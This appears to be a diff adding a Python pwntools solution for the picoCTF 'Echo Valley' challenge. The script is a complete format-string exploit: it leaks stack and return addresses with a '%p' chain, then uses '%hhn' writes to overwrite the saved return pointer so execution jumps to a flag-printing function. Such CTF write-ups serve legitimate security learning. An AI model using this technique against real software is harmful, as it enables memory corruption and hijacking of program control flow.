Echo Valley

echo_valley/sol.py

@@ -0,0 +1,63 @@
+#!/usr/bin/env python
+from pwn import *
+
+#conn = process("./valley")
+conn = remote("shape-facility.picoctf.net", 53287)
+conn.recvline()
+
+def write(data):
+    conn.sendline(data)
+    conn.recvuntil(b"e: ")
+    return conn.recvline(keepends=False)
+
+address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
+log.info(f"received {address_leak_string}")
+
+dot = address_leak_string.rfind(b'.')
+address_leak = int(address_leak_string[dot+1:], 16)
+log.info(f"return address: {hex(address_leak)}")
+
+dot2 = address_leak_string.rfind(b'.', 0, dot)
+stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16)
+stack_address_ret = stack_address_leak_after_ret - 8
+log.info(f"found stack address of ret pointer: {hex(stack_address_ret)}")
+
+address_offset = 18
+main_offset = 0x1401
+print_flag_offset = 0x1269
+address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset
+log.info(f"jump address is: {hex(address_to_return_to)}")
+
+# only 2 least significant address bytes have to be rewritten
+log.info(f"first byte address: {p64(stack_address_ret)}")
+
+# produces string that writes 0<=n<=255 to byte at address
+# offset for alignment of memory address
+# here, use offset 2
+def produce_writer(n, address, offset=0, op=b"hhn"):
+    if n < 0:
+        log.error(f"n has to be >= 0, is {n}")
+        exit()
+    if n < 8:
+        n_pre = n
+        n_post = 8 - n_pre + offset
+        return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address
+    else:
+        return f"%{(n-3):03}x...".encode() + b"%8$" + op + b'.'*offset + address
+
+lower_byte_value = address_to_return_to%256
+upper_byte_value = (address_to_return_to>>8)%256
+
+lower_byte_writer = produce_writer(lower_byte_value, p64(stack_address_ret), offset=2)
+log.info(f"writing lower byte value to {hex(lower_byte_value)} on enter with string {lower_byte_writer}")
+write_lower_byte = conn.sendline(lower_byte_writer)
+
+upper_byte_writer = produce_writer(upper_byte_value, p64(stack_address_ret+1), offset=2)
+log.info(f"writing upp byte value to {hex(upper_byte_value)} on enter with string {upper_byte_writer}")
+write_upper_byte = conn.sendline(upper_byte_writer)
+
+conn.sendline(b"exit")
+conn.recvuntil(b"The Valley Disappears\n")
+rest = conn.recvall()
+log.info(f"got {rest}")
+